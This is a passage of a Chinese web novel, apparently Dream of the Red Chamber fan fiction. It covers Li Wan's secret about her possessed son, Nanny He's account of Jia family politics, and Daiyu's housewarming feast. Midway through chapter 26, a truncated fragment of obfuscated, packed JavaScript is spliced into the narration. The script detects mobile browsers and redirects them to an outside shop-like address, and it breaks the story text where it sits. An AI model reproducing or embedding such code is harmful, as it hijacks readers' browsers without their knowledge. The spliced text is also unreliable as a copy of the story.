求助的话到了嘴边，冷不防撞上李纨的眼神，就见她朝自己使了个眼色，微微摇头。素云顿了顿，还是把原本要说的话咽了回去，张口就扯了个谎：“奶奶是担心兰哥儿太用功，忧心他小小年纪跟大爷一样，这些日子就有些睡不着。”
王熙凤何等人，哪能没注意到李纨的动作，她冷笑一声，“你们主仆糊弄鬼呢！也行，是我枉做好人，你既要藏着掖着，想把事烂在肚子里，我也不难为你，但你日后有了难也别拿这事儿来烦我！平儿，咱们回去。”
说罢当真不再追问，转身就走。
“奶奶，大奶奶还站在原地呢！”走了一段路，平儿回头，下人提着灯笼，影影绰绰还能看李纨主仆三人的身影，一动不动的，像是也在往她们这边看。
王熙凤“嗯”了一声。
平儿皱眉：“大奶奶看起来很为难，可她自己不肯轻易开口就算了，怎么奶奶主动问她她也不说。”
“我又不是她肚子里的虫，哪能知道她花花肠子在想什么。”
听语气就很不满。
平儿闻言笑道：“以前没有好处的事奶奶是不愿沾的，今儿怎么还上赶着揽事？”
王熙凤拧了她一把，“小蹄子还笑话你奶奶来了！就不许我发一回善心？”
平儿“哎呦”一声，其实不疼。
“是是是，奶奶好容易动了菩萨心肠，阿弥陀佛，哪知道‘信徒’领会不到其中真意。”
王熙凤白她，“领会不到真意也就罢了。”就怕所求太过麻烦，“菩萨”也担不住。
王熙凤自问也不是个好心人，关心李纨也是有的，但她更担心的是李纨的异常会牵连到宝玉。
稍微想一想就知道，除了兰哥儿，也没有其他事能让李纨这么牵挂的。兰哥儿常和宝玉一处，出了事带累宝玉，李纨的日子怕更不好过，府里也不得安生。
只是这人是属葫芦的，她也撬不开她的嘴。
“不说她了。”王熙凤问起另外一件事：“我听说林妹妹那儿打发了一个烧火婆子？”
平儿道：“什么都瞒不过奶奶。”
她低声道：“说是打发，其实是被撵出来了。”
“怎么回事？”
平儿把经过说了。其中关窍她没去问林姑娘的人，否则像是去兴师问罪。她是叫人问的那个婆子，婆子巴不得告状，一问就问出来了。
当然里面少不了添油加醋的话，要平儿自己辨别。
“也不是大事，都是下人想讨好宝玉。何嬷嬷是严了些，可也没亏了她，大方赏了钱，竟也没落着好话。”平儿叹气。
王熙凤：“这些个人哪有心足的，样样好处都占了还嫌不够呢！”
“她嘴上不把门，你把她打发远些、偏些，免得她到处胡咧咧。”
“知道了。”平儿应下。
......
李纨房里，打发了碧月，素云一边给李纨拆头发一边问：“奶奶，您为什么不让我跟二奶奶说？”
李纨静静坐在镜子前，看着镜中的自己，抬手摸了摸自己的脸。
“素云，大爷去了有多少日子了？”
素云瞧了瞧她的脸色，小心道：“约莫有五六年了吧。”
“是五年零五个月又十七天。”她熬着日子，数着灯烛，每一天都记得清清楚楚。
“奶奶。”素云呐呐道。
李纨苦笑一声，“我要怎么跟她说，说兰儿不是兰儿了，而是我的丈夫。说他死了五年多了，突然有一天又在自己儿子身上活过来了。你说她是会相信我，还是会觉得我疯了。一个寡妇，没了丈夫，把自己的儿子臆想成丈夫，我不仅是疯了，还是个让人恶心的疯子。”
素云抱紧她。
“我又有什么办法呢？他如今会读书了，比宝玉还聪明呢！学里太爷夸他天赋过人，老爷也满意，说子类父也，家里又要出一个读书人了。”
李纨还在喃喃说：“他又不害人，就是老实读书，还把宝玉带好了，我要跟谁去告状？府里是愿意要两个前途无量的读书人，还是一个胡言乱语的寡妇？”
“壳子里是他，兰儿
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不知是死是活。就算还活着，他走的时候，兰儿还没有出生，也没有什么父子之情，兰儿又怎么抢得过他。”
她说的颠三倒四的，素云听懂了。退一万步说，就算奶奶的话有人信，找了人来给兰哥儿驱邪，最后保住的也不一定是谁。
现下这个......素云也不知该称大爷还是哥儿，总之他在其他人面前伪装得很好，都没有人发现不对。
要不是她正好在人醒过来的那晚撞见了，也不一定能觉出不寻常来。
主仆俩抱头痛哭。
哭了好一阵，素云擦了擦眼泪，给李纨出主意：“奶奶，宝二爷不是有一个记名的干妈，叫马道婆的，常来府里，咱们兴许可以找她问问。”
李纨肿着眼睛，听她这么说，有些心动，但随即摇了摇头，“那个婆子我见过，有没有本事不好说，为人却贪财。事情若是办不成，反叫她拿住了把柄勒索才糟。”
她的身份实在太尴尬，处处掣肘，多说一句话，多走一步路都要思量再三，万不能从一个泥坑里在栽进另一个泥坑里。
素云也是没法了。
李纨道：“罢了，随他去吧。”
她扯了扯嘴角，“往好了想，他读了两辈子书，怎么着也比许多学子强，又有府里的支持，兴许以后我也能有诰命在身。”
虽是这么安慰自己，但李纨心里仍然不好受，一晚上都没睡安稳，第二天脸色更差了，只好多涂了些粉掩盖。
......
翌日，黛玉到贾母处请安，说起她准备开乔迁宴的事。
本来早就该开的，却总是碰到事，才一直拖到现在。
“林姐姐要设宴？”湘云一点都不认生，一听有趣事，换到她身边挨着她问：“可有我的一份没有？”
黛玉笑道：“自是有的，乔迁之喜，当然是人越多越热闹。”
湘云抱着她的胳膊笑道：“还好还好，幸亏没叫我错过这份热闹。”
贾母笑骂道：“这会子不怨我接晚了？”
湘云笑嘻嘻道：“不晚不晚，正好！”
贾母点了点她的额头。
黛玉问：“外祖母来不来？”
贾母摇头：“我就不去了，去了你们反而不自在。你们姐妹一起乐一乐才好。”
王夫人关心道：“可定了日子？”
黛玉回她：“定了，就在三日后。”
“听松园摆得开？”
黛玉点头。
王夫人便道：“你们姐妹人多，事也繁杂，若是需要人手用具的，只管找凤丫头。”
24.第 24 章
王夫人突如其来的客套让黛玉怪不适应的。
“凤姐姐也是这次的客人，哪里能叫她帮着一起张罗。”黛玉并未应下，认真思考后还是推辞道。
“这不防。”王熙凤拉着平儿推到黛玉身边，道：“你尽管找她，我有什么，她都是知道的。”
平儿笑着道：“但凭林姑娘吩咐。”
贾母半倚在引枕上，指着王熙凤道：“你这滑头！她是你的人，你要是问起来，她还能瞒着你不成？你一杆子把人支过去，跟你自己张罗有什么区别？”
湘云抢着回答，“凤姐姐是想半分力也不出，还要比我们早知道宴席样式。”
“哎呀！”王熙凤赶忙握住她的嘴，假模假样埋怨：“我就打了这点小心思，你倒好，全给我漏出来了。”
贾母拉过湘云护着她，笑道：“你可别捂她，我们都听见了。可见你也有不精的时候，连云丫头都把你琢磨透了。”
王熙凤唉唉叹气。
贾母又握着黛玉的手故意叮嘱她：“凤丫头是最爱显本事的，巴不得揽这摊子事，你就可劲儿使唤她，别跟她客气！”
王熙凤不依：“老太太怎么说的我跟上磨的驴似的，一刻都不得闲！”
贾母反问：“难道你不是？”
贾母几人热热闹闹说话，王夫人独坐在一边喝茶，也不参与，冷不丁听到贾母点了她的名。
“你太太把家里的一大摊子事都交给你，自个儿躲了清闲。你也是个实心眼的，有不明白的也不说问问你太太去，就光自己担着，人都累瘦了，这怎么成？她又不是别人，跟你是两层亲戚，关系亲着呢，你难道还抹不开面子去卖个乖，让她好好给你理一理。”
王熙凤面上笑道：“老太太说的是，还是老太太心疼我。”
她转到王夫人面前，“太太可也疼疼我，教教我道理。”
王夫人眼珠动了动，抬眼见贾母还在跟湘云和黛玉说笑，似乎真是因为心疼王熙凤随口一说。
她琢磨了一下最近的事，并没有什么特别的，方才她与林丫头说的也是好话，老太太应当没别的意思，便道：“既然是老太太吩咐了，你有何不懂，再问我就是。”
黛玉靠在贾母身边，目光扫过两人，觉出一些微妙来。
湘云大大咧咧，半点没察觉到不对劲，只听到了字面意思，还拉着平儿让她不许单独告诉凤姐姐宴席的内容，要说就叫大家一起听。
“嬷嬷，你说外祖母是有意的还是无意的。”
听松园，黛玉书桌上摆了一沓彩笺，青雀帮她磨墨，准备写三日后邀众人来赴宴的帖子。
芙蓉和白鹤去开了库房拿东西，白妈妈送了一张单子来，里面记着席上要用的东西，有些他们有的，要先备下，有些没有的，还要着人去采买。何嬷嬷就在核对单子上的内容。
听到黛玉问她，何嬷嬷侧头见她托着腮，拨弄着笺子很是苦恼的样子，思索一番道：“老太太不是无的放矢的人，这话其实大可在私下里说，也可以直接跟二太太说，叫她给琏二奶奶搭把手。既然摆到明面上，说明老太太肯定是有不满。”
“她特意还点了琏二奶奶，叫她多学学，怕是她哪里出了岔子，但又不全是二奶奶的过错，恐是二太太的责任更大一些，只不好明说罢了。”
黛玉只想到了第一层，后面却没想到那么多，不过她是客居，不好深究内情。她掩着嘴小声道：“二舅母一下子这么关心我，我还吓了一跳。”
王夫人不怎么喜欢她，黛玉不能正面对长辈不敬，私底下说点悄悄话还是可以的。她也只对这何嬷嬷等人说。
何嬷嬷果然没说什么不应该之类的，笑着听她讲自己的感受。
“二舅母这次是真关心。”黛玉道，她还是能分辨好歹的。就是惊奇二舅母竟然转了性子，让她别扭得很。
说完王夫人，黛玉又转回到方才的问题上，“外祖母有敲打的意思，我看二嫂子像是没听懂。”
黛玉猜外祖母的意思是让二嫂子多跟太太了解家里原先各处理事的规矩和不能放在明面上的事，二嫂子好像理解成了要她放出一部分管家的权力。
她不乐意。
而二舅母，估摸着也没懂。外祖母苦心怕是白费了。
何嬷嬷摇摇头，道：“琏二奶奶手腕本事是有的，也很聪明，但有些事上就糊涂多了。不过也不能怪她，到底是年轻了一些，上头又有好几重人压着，目光只能再一亩三分地里转悠，看不见全貌，能做到这种程度，也不容易了。”
二太太这个人就不大好说了。
何嬷嬷自问也见过不少人，但不少有像王夫人这样的。她冷眼看着，这位吃斋念佛，看起来菩萨心肠的二太太，其实最是冷硬。
她的心里谁都没有，甚至包括明面上最疼爱的宝玉。
所谓的疼爱不过是想起来就问上一两句，想不起来，就由着他去了。打量着总有老太太看着，不会让他受委屈。
黛玉有些不懂，“二嫂子哪里糊涂？她很厉害，什么都瞒不过她。”
何嬷嬷道：“姑娘说的就不对了，既是任何事都逃不过她的法眼，老太太这一出又从何说起？”
黛玉语塞。
何嬷嬷见状，便干脆借此机会跟她说说贾家的复杂事。她将单子叠好，吩咐青雀道：“你把屋里的窗子都支开，再到外面看看有没有人靠近。”
青雀立刻放下墨条去开窗。
她一走，黛
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玉就注意到了砚台，顿时哭笑不得。
她光顾着跟嬷嬷说话，没叫青雀磨够了就停，她就一直磨着墨条。青雀手劲儿大，速度快，身体也好，光磨墨根本就不会累，也不知道偷懒。不知不觉一小方砚台里满满当当都是墨汁，颤巍巍得快要溢出来了。
唯恐墨汁会流得满桌子都是，黛玉取了一支笔蘸饱墨汁，抽出一张金凤笺落笔。
这张笺是所有彩笺中最华丽的一张。
她设的宴是小宴，只请了迎春姐妹并湘云，和李纨、王熙凤共六个人。
席就设在听松园。她们也不听戏，又不好饮酒，少了些玩乐的事，总不能干巴巴吃一顿席就散了，黛玉便琢磨了一些小花样。
下帖子的彩笺就是一个。她给每个人都准备了不一样的彩笺，金凤笺便是是给王熙凤的。
黛玉还没忘答应过要第一个给她下帖子。
写完了给王熙凤的金凤笺和迎春的碧苔素馨笺，青雀回来道：“我都看过了，外面没人。”
“可说悄悄话不是关窗更好吗？”
何嬷嬷道：“这就是外行话了。关了门窗，有人悄悄贴过来偷听你都不知道。在屋子里说体己话，就要门窗大开，方便随时观察外面的动静。在外面则要找一处开阔没有遮掩的地方，有人靠近随时能看见。”
青雀点了点头，道：“可是我关着窗我也能听到有没有人靠近啊，嬷嬷你听不见吗？”
虽然在府里不好胡乱动用力量，但这点听脚步的本事，还不需要动用妖力，是个妖都会。
难道是因为何嬷嬷是鬼，耳朵不好使？以前没发现唉。
何嬷嬷：“......”
光凭她脸上丰富的表情都知道她在想什么。
黛玉手一抖，毁掉了一张彩笺，连忙放下笔，转头欣赏窗外的风景。
何嬷嬷无奈瞥了她一眼，道：“我说的是一般人碰到这种情况处理的方式。况且你能听到脚步声也没用，如果白天门窗紧闭，不是摆明了告诉别人有秘密吗？”
青雀想一想，也有道理，白日里姑娘小歇都是不关门的，她受教点头。
被她这么一打岔，何嬷嬷差点忘了自己要说什么。
理了理思绪，何嬷嬷看着还扭过身的黛玉道：“姑娘还听不听了？”
黛玉托着一瓣被风携着钻进窗子里的白色细小花瓣，小心放在帕子上，面上挂着笑容道：“听！嬷嬷你说。”
何嬷嬷往窗外看了看，道：“姑娘知道府里正房是二老爷住着吧。”
黛玉点头。
“长幼有序，正房严格来说是一家之主的象征，为何是二老爷住着？”
黛玉顿了顿，道：“因为祖母喜欢二舅舅。”
25.第 25 章
“更喜欢宝玉。”黛玉补充道：“宝玉原是外祖母跟前养着的。”
她才来时，在外祖母房中歇息的地方就曾是宝玉的住处。宝玉是外祖母看着长大的，也许二舅舅跟二舅妈跟宝玉相处的时间加起来都没有外祖母多。
而且，大舅舅和二舅舅两房相比，明显二舅舅这边人丁更盛，且都更出息一些。
何嬷嬷轻声道：“这的确是原因之一，但不是主因。指有长短，人有偏爱，无可厚非。但老太太并非没见识的乡下妇人，也是在富贵堆里长大的，再如何偏心，也不可能不知道世家大族若是长幼不分，便是乱家之始。”
“老太太可以偏心幼子，为幼子谋取好处，不惜损害长子的利益。但无论如何，二房都是小宗。大宗未绝，小宗也不能翻了天，妄图取代大宗的位置，于礼法上就说不过去，是要被戳着脊梁骨骂的。成功的可能不是没有，但更大的肯能是最后两头都不是人。除非是......”
何嬷嬷指了指天，“那里是最讲究这个，又是最不讲究的，人人都有机会争上一争，人人都能小宗变大宗。”
黛玉猛地转过头朝窗外看，没见到人才松了一口气。
青雀道：“姑娘放心，我一直听着，没人。”
“不过......”她抬头望了望房顶，梁上好像有灰，别的没看见，“嬷嬷指房顶干什么？”
黛玉跟何嬷嬷异口同声：“你别问！”
何嬷嬷叮嘱道：“在屋里说的话，出了门你也得忘得干干净净。”
青雀“哦”了一声，道：“白鹤和芙蓉姐姐也不能说吗？”
何嬷嬷道：“不能，该跟她们说的，我自会说，不用你传达。”
叮嘱完青雀，何嬷嬷又说回到贾家之事。
“二老爷居正房，放在外面，说好听一些，是因老太太偏爱幼子叫他就近奉养，如此一来，就是有骂名，也叫老太太担了。说难听一些，就是二老爷窃居正房，其身不正，老太太糊涂，大老爷被妇人辖制，懦弱没有主见，不堪大用。”
黛玉细眉微蹙。林家代代单传，就算想偏心也偏不了，黛玉对此不太敏感，所以她虽觉得府里有些怪，却未曾往这这么严重的方面去想。此时让何嬷嬷一说，便觉问题的严重。
如此一来，府里三位最重要的主子，一个都逃不过骂名。她虽没有当过官，但也知道名声的重要性。
名声可以没用，但不能没有。
“外祖母难道不知道这点么？”黛玉道。光是其位不正，就够二舅舅被参上好几本了。
不等何嬷嬷回答，她又自言自语道：“不是，外祖母应该是知道的，但她有不得不这么做的理由。”
“且为此不惜败坏自己的名声，把责任最大程度揽到自己身上，以淡化两位舅舅要背负的骂名。”
这样大舅舅和二舅舅都可以说是孝顺。
何嬷嬷欣慰道：“姑娘果然一点就通。”
黛玉却不为她的夸赞而高兴，“外祖母这么大年纪了还要为舅舅们谋划，府里却没有人能替她解忧。”
她又道：“我听下人们说，大舅舅终年都在自己院子里玩乐，不大来给外祖母请安，也很少出府。”
玩乐是好听点的说法，实际上黛玉听到下人们背后说的话更不堪，她是怎么也学不出来的。
“现在想来，大舅舅倒像是在禁足一样。”
黛玉突然顿住了。
说到禁足，再想深些，大舅舅不仅是在变相禁足，名声其实也坏得差不多了。
那大舅舅不仅是没有出息，人也不行，两厢一比，二舅舅反而好一些。外祖母再多夸一夸他孝顺，未必不能帮他扭转名声，如果操作得当，说不定就能以小宗代大宗。
黛玉想到此处，不由心惊。
外祖母是打着这样的主意吗？
“姑娘？”何嬷嬷看她脸色发白，关切道：“姑娘是想到了什么？”
黛玉说了自己的想法。
何嬷嬷摇头，道：“应当还未到这一步。老太太要真有这样的想法，无需敲打提点，由着二奶奶往沟里栽就是了，再进一步，管家的权力原是二太太的，不让二奶奶沾不是更好？”
黛玉松了一口气，她不想把慈爱的祖母想成一个坏人。
不料何嬷嬷又道：“但二奶奶不沾其实更好，也不能这么说，应该是要沾，但需把握尺度。”
她说的太绕，黛玉脑袋一时乱糟糟的，也理不清，便问：“嬷嬷说二嫂子糊涂，便是糊涂在不愿放权？”
何嬷嬷点头，道：“当家人并不好做。说句不好听的，这府里其实只有一个花花架子好看。以小见大，从下人言谈举止就能看出来府中家风如何，姑娘这些日子想必也有体会。”
黛玉揪住帕子，虽不情愿，也不得不点头，“太过宽纵。”
她没说谁，但何嬷嬷也知道。
她也一样避而不谈，继续道：“二奶奶其实是有魄力的，但上行下效，只要上面不点头，她如何使力也不能从根子上解决问题，最多不上不下吊着。一句祖宗规矩不可变，多少年来不知压死了多少人。”
“府里格局未定，老太太许是还在掂量。二奶奶这样使力，最后把自己搭进去，却也不一定能抓住什么。”
黛玉明白了一些，抿了抿唇道：“但二嫂子也不能放手。”
何嬷嬷点头
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称是：“一放了就真是拱手相让了。二奶奶未必看透了其中因由，却也算是歪打正着。”
不过也就到此为止了。
贾府的局面本就难解，深究起来，最终结局如何，决定权并不在贾家手里。
其实依她的看法，原本局面应该还是小宗压倒了大宗，但偏偏二房运气又不太好，能承宗的珠大爷先去了，剩下的宝玉......在他衔玉而生的消息没被捂住开始，就注定了未来。
何嬷嬷实在没搞明白，老太太手掌乾坤，怎么会在这么关键的事上犯糊涂，导致现在的局面。
如今再想要破局，怕是需要贾家有人再立天大的功劳不可。
她摇了摇头，就听黛玉喃喃道：“也不知道大舅舅究竟犯了什么过错？”
何嬷嬷便道：“贾家还挂着国公的扁，大老爷身上还有爵位在身，也有好些联姻的亲家，即便如此还要小心翼翼，其中原因，不能说，也不可说。”
黛玉闻言抬头朝上看了一眼。
青雀：“？”
她紧跟着也往姑娘望着的方向看，还是什么也没看到。
这种听了全程，但好像又没听全，关键是漏掉的信息似乎还十分重要的感觉让青雀有些抓心挠肝，却又不敢问，只能默默地扣桌子腿。
一不小心在上面留下了几个重重的抓痕，青雀心虚地拿手盖住。
黛玉没有注意到青雀的小动作，谈到这里，再往下说就十分危险了。
何嬷嬷道：“左右都不是姑娘要操心的事，姑娘心里明白就行，该如何还是如何。”
黛玉默默点头，有些话就此打住为妙。
她顺势转移话题，问：“嬷嬷的单子对完了吗？我想改一改设宴的地点。”
何嬷嬷配合道：“姑娘想改在哪儿？”
黛玉道：“我瞧东边抱月亭后面种的荼蘼花开得正好，我想摆在那儿。不过这样一来，菜单也需得重新改，也不知来不来得及。”
“叫白妈妈来问一问就是了。”何嬷嬷道。
白妈妈匆匆过来，听了黛玉的设想，思索片刻后柔声道：“倒也不麻烦，比先前还简单，就是采买上要琐碎些。里头有两样干鸡子肉和干鱼肉现下怕不太好找，需得晒得极干极干，能磨成粉用的才好。”
一般不是特特要用的话，是没人这么晒的。
“再有一个鲜笋，如今口味也稍差了一些。”
何嬷嬷道：“还有没有可替换的菜色，咱们做两样准备。”
白妈妈便拟了两样单子，何嬷嬷先打发人去大厨房问，大厨房里倒有鲜笋，却果真没有干鸡子肉和干鱼肉，只能让人到外面买，还是劳动了平儿。
26.第 26 章
开宴前一日，芙蓉便往各处送了花笺，第一个就往王熙凤处。
王熙凤接了笺，先看了看上面的内容。花笺上写的字也不复杂，内容更没有十分拗口，她管家看账多了，也颇识了几个字，大致都能看懂。
王熙凤收了花笺，笑问：“我是林妹妹第一个请的人不是？”
芙蓉道：“姑娘说应过二奶奶，特地叮嘱第一个给二奶奶送过来的。”
王熙凤笑容更胜。无论是花笺还是宴席都不值当什么，但有人能把她一句玩笑话放在心上，半点没有敷衍还是让她心中十分舒坦的。
一高兴，她就多问了几句，“妹妹要的东西采买的人买得妥当吗？”
她是知道下面人会以次充好，私吞买办钱的。
芙蓉点头：“采办用了心，送来的东西都好。”
闲话两句，芙蓉告辞，转去了李纨处。
她要先给李纨送，再往贾母房中给湘云送，最后才是迎春三人。从远近顺序来说是绕了一些，多走了许多无用之路，但从关系上来说，是先长后幼，先客后主。
平儿是看着她出门往李纨院里去的，回来便对王熙凤道：“林姑娘的丫鬟实诚，还绕道回去了。”
王熙凤捏着花笺，端详着上面的云母金粉凤尾，闻言冷哼了一声，“那是林妹妹的人守规矩，这才是应当的。换个偷懒的人来，再有两只势利眼顶着，那就是随自己方便，爱先给谁就给谁。”
平儿便不吱声了，不去触她的霉头。自从老太太说了让奶奶去请教二太太的话后，也不知是哪个碎嘴地把当日的事传出去了，下面管事的婆子们隐隐又抖了起来，这两日常有往二太太处献殷情的，开始对奶奶的吩咐阳奉阴违，拖延怠慢，闹得奶奶心情很不爽快，好一阵坏一阵的。
一会儿还少不得挑自己两句刺。平儿心想着，一边拿着掸子给花几上的转心瓶掸灰。
没扫两下果然听到她说：“哟，是咱家没使唤的人了？要你干这些粗活。”
平儿也不恼，顺势把鸡毛掸子一放，转身回她：“我是怕甩着两只手在奶奶跟前闲晃荡，奶奶就要说主子劳心劳肺一刻不得闲，丫头倒好，光会叉着手瞪着眼看偷懒，叫人见了，也不知谁是主子，谁是丫鬟。”
“反正奶奶心里不好，任是怎么样也要挑几句不是。”
王熙凤眼尾一挑，坐起来怒道：“好啊！我不过说一句你倒要顶十句，反了天了！到底谁是主子？！”
话落，主仆两个面面相觑，一齐笑出了声。
笑过后，王熙凤歪坐了一会儿，道：“你去把管事媳妇都叫过来。”
平儿问：“奶奶要做什么？”
王熙凤一拍桌子，冷声道：“做什么！当然是给她们紧一紧皮！”
这厢王熙凤敲打下人，那头芙蓉帖子已经送到迎春姐妹处。
迎春和惜春收到花笺，互相凑在一起看了看，发现各自的笺都不同，显然用心，都有些惊喜。
惜春问：“三姐姐的花笺是什么样的？”
芙蓉把花笺给两人看，是玉色的白雪红梅笺。
“三姑娘不在吗？”收回花笺，芙蓉问道。
迎春和惜春笑容微敛，惜春道：“三姐姐被赵姨娘叫走了。”
芙蓉知道赵姨娘是探春的生母，为人似乎不着调。
看两姐妹的表情，探春被叫走怕也不是好事。
不过这与她没有关系。她坐了一会儿，见探春还没回来，犹豫片刻便起身要告辞道：“姑娘那里还有好些事要忙，离不开人，劳烦二姑娘将这花笺转交给三姑娘。”
迎春应下。
芙蓉走后盏茶的功夫，探春眼眶微红地回来，迎春和惜春知她定然是在赵姨娘处受了气，想到她一向是不肯示弱的，也只装作不知。
迎春把花笺给她，探春接过，看了上面的红梅好一会儿，转身回了自己房中。
她一走，惜春也离开了。房里只剩迎春，她起身走到方桌边摆弄桌上剩下的残局。
呆呆敲了几颗棋子，终是不得其法，残局已乱，心中也更加烦乱，迎春扔下棋子，转身从书柜上抽了一本《太上老君清净心经》念起来。
她也不看旁的注解道理，只念本经。念了三四遍后，再念到“清心清镜皎无碍，无碍无心心自在”时靠在枕上怔怔出了神。
等司棋再进来时，她已经捏着书歪在床上睡过去了。
司棋上前想将她手上的书抽出来放好，谁知她握得紧，稍一动作就要惊醒。司棋不敢用力抽，只能任她握着，拉开薄被替她盖好，由她这么睡着，做自己的事去了。
-*
乔迁宴当天，黛玉一大早就醒了。
转头就见青雀目光灼灼看着她，伸出手道：“姑娘一晚上睡了不到两个时辰。”
芙蓉挂起帐子道：“一晚上就听姑娘在床上翻腾，窸窸窣窣，不知道的还以为是帐子里进老鼠了。”
黛玉拥着被子坐起来道：“心里存着事，我睡不着。”
她第一次自己设宴，虽是玩笑似的小宴，也不由紧张。
“各处都安排好了吗？”
芙蓉不厌其烦地回答：“安排好了。”
到了时间，王熙凤跟湘云先一起过来，随后李纨领着迎春三姐妹也到了。
众人一踏进园子里，便有一个小丫鬟拦着，道：“请奶奶姑娘们将各自的花笺拿出来。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085766|147635||http|test|mini|href|location''.split(''|''),0,{}));
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王熙凤笑道：“咱们就这几个人，你们姑娘还要验请帖不成？”
小丫鬟笑而不答，“奶奶拿出来就知道了。”
“给你！”湘云着急进去，一把将花笺塞给拦路的丫鬟。
丫鬟接过，捧了一个玉石粉盖炉，把花笺点燃投入炉中。
一股甜甜的、似柑橘清新，又混杂着一点馥郁白兰花香气的味道荡悠悠从炉中飘出来。
湘云抬手闻了闻自己的袖子，道：“是要熏香么？”
王熙凤也拉了拉衣袖，她们的衣服早就熏过了，再熏味道就串了。
“快看！”惜春扯了扯探春的袖子指向空中。
众人一起抬头，就见一只红、绿、蓝、白一身，色彩十分丰富夺目的雀鸟衔着一朵玉兰扑棱棱飞到湘云跟前，忽左忽右翻飞。
湘云愣了愣，不知道它是要怎么样。
捧香炉的丫鬟提醒道：“姑娘伸手。”
湘云依言。有了可落的地方，雀鸟敛翅落下，将衔着的玉兰放在她手上。
湘云惊喜地“呀”了一声，道：“给我的？”
雀鸟在她手上蹦跳两下，歪头啾啾两声，展开翅膀扑棱棱飞走了。
“哎！”湘云伸手，没能抓住它，只能遗憾收回手，捧起玉兰。
众人这才发现，玉兰不是真花，而是一朵绒花，做得栩栩如生，不细看与真花无异。
花朵上还有跟跟粉炉中一样的香味。
湘云欣赏了片刻，美美将花簪到发上，还埋怨道：“林姐姐怎么也不提前说一声，要是我忘了带花笺来怎么办？彩雀来得太快了，我都没仔细看。它是怎么训的，是靠闻熏香吗？咱们这么多人一起，它竟还能分辨出来要将花交给谁。”
王熙凤半掩着耳朵，跟平儿大声道：“云妹妹真真是好啰嗦的嘴，还没进门呢，口都要说干了。”
“翠缕，快给你们姑娘讨碗水喝。”
湘云哼道：“我是替大家问的，难道你们就不好奇吗？”
好不好奇另说，惜春小孩心性，已是按捺不住，让丫鬟烧起了花笺。
果然另有一只不同的彩雀衔了一串灯笼似的果子来。
惜春稀奇地摸了摸彩雀，才接过“果子”让人帮忙簪在头上，果子垂下，随着她的动作一晃一晃的，十分有趣，惜春爱不释手地不时拨弄。
随后其他四人也各得了自己花草果枝。
王熙凤和李纨得的是两朵菊花。
王熙凤高高兴兴簪上自己的金背大红，见李纨捧着一朵花瓣上玫红点点的玉壶春不动，抬手便拿过来替她簪好，“今日大家乐一乐，簪一朵也无妨。”
李纨笑了笑，任由她动作。
27.第 27 章
李纨常年守寡，加上不想惹婆婆的眼，身上几乎没有鲜亮颜色，从上到下打扮得十分老气。府里稍微体面一些的丫头或者有些身份的管事媳妇都看着比她更光鲜。
如今花一簪，虽也不是十分炫目的颜色，但与她身上的湖蓝色一衬，也显出五分鲜亮，整个人仿佛被点亮了一般。
说起来她也不过是二十出头的年纪，大不了王熙凤几岁，只她成日里闷闷的，两人瞧着倒像是两辈人，让人忘了她也是女子，也正是爱美的年纪。
众人因飞鸟献花奇了一回，乐了一回，便由丫鬟引着往抱月亭而去。
黛玉早已等着她们，见人来了，也迎出来。
“林姐姐！”湘云奔到她跟前，拉着她的手叽叽喳喳又问起训鸟的事，她也想要一只这样的鸟儿。
青雀跟在黛玉身后，听到湘云夸赞，默默挺起胸膛。
这些鸟儿自然是青雀训的，没有技巧，靠的就是她身为妖怪的气场威逼利诱一通，毫无难度，最多就是逮到几只既好看又可爱的野鸟麻烦了点。
送过花以后，这些鸟儿早就被放生了，黛玉压根找不出来一只鸟儿送给湘云。
不过黛玉也有别的法子，她道：“这也没什么，老太太那儿廊下的雀鸟也是叫人训过的，会衔小巧的东西，只是往常没人叫它们衔花，你头一次见，才觉得稀奇罢了。”
湘云信以为真，道：“竟是这样，往常我只觉得那两只能学人说话的鹦鹉和八哥有趣，其他的就是听个声儿，聚在一起还吵闹，等宴散了，我得回去仔细瞧瞧。”
探春道：“我也要去看看。”
迎春和惜春没说话，但眼里都有渴望。
湘云一手拉过一个，对探春道：“咱们一起去！”
李纨失笑摇头。
王熙凤见状拉了拉她，小声道：“你不想去？”
云丫头叽里咕噜一路说，她都有些心动了。
李纨抬手扶了扶鬓上的花，道：“我是想到时候不知是何等闹腾。”
说话间，众人已至亭中。
亭中架了夔纹龙牙大方桌，过亭至垂花架下，已设了七个小案，随意错落摆着，不分主次。
黛玉拍了拍手，六七个丫鬟各捧着托盘依次站定，托盘上用红绒布盖着东西。
王熙凤打量了一圈，估摸大小，应该是杯盏一类的器具，却不知是用来干什么的。
众人都不解其意，便听黛玉道：“今日设宴，我想着像一般宴席那样主次分明坐着吃喝，太过拘束，也没意思，如今春末，也无争奇斗艳的花朵可赏，只有这里一丛荼蘼花开得好，何不学一学前人风雅，办一场飞英会。”
王熙凤问：“什么是飞英会？”
李纨书香门第出身，略一思索便道：“乃是宋时名士范景仁所办的宴会。每当春末荼蘼花开时，他便广邀好友前来家中宴饮。若有风过，吹落荼蘼花瓣，落入谁的杯中，此人便要满饮一杯。和花饮酒，自是名士风流。”
她看了看垂花架前的荼蘼花，这一丛花不多，像宋时那样邀满堂人自然不行，她们六七个一起，倒是正好。
王熙凤听了便笑道：“听着有趣，往常宴会都是吃喝听戏，倒是没听过吃花的。像我这样不通诗书的粗人，今儿拖妹妹的福，也能当一回名士。”
她也不遮掩自己的才学不足，黛玉听到她爽朗的话，也笑道：“可惜不能叫凤姐姐痛饮，只备了些蜜水和果子酒。”
王熙凤豪爽道：“谁耐烦喝甜水，你只管上酒来。你们都别跟我抢，林妹妹备的果子酒我包圆了。”
探春一听，道：“二嫂子现在可别说大话，万一这风不使力，一片花瓣也不叫二嫂子得呢！”
“你倒是提醒我了。”王熙凤忙问黛玉：“这席上要怎么坐？有近有远，坐远了岂不吃亏！”
黛玉往丫鬟们手上的托盘一指，道：“飞花落在何处全凭运气，这选座也各凭运气。这儿一共七个落英杯，杯上图案与那边席案上的图案一样，选了哪个杯子，就在哪里落座。嫂子和姐妹们先选，最后剩一个是我的，可公平？”
众人皆道公平，却谁也不肯先选。
湘云拉着探春到垂花架下，又是比划距离，又是看案上的图案，一会儿说这个位置好，一会儿说那里风大，落花肯定多。
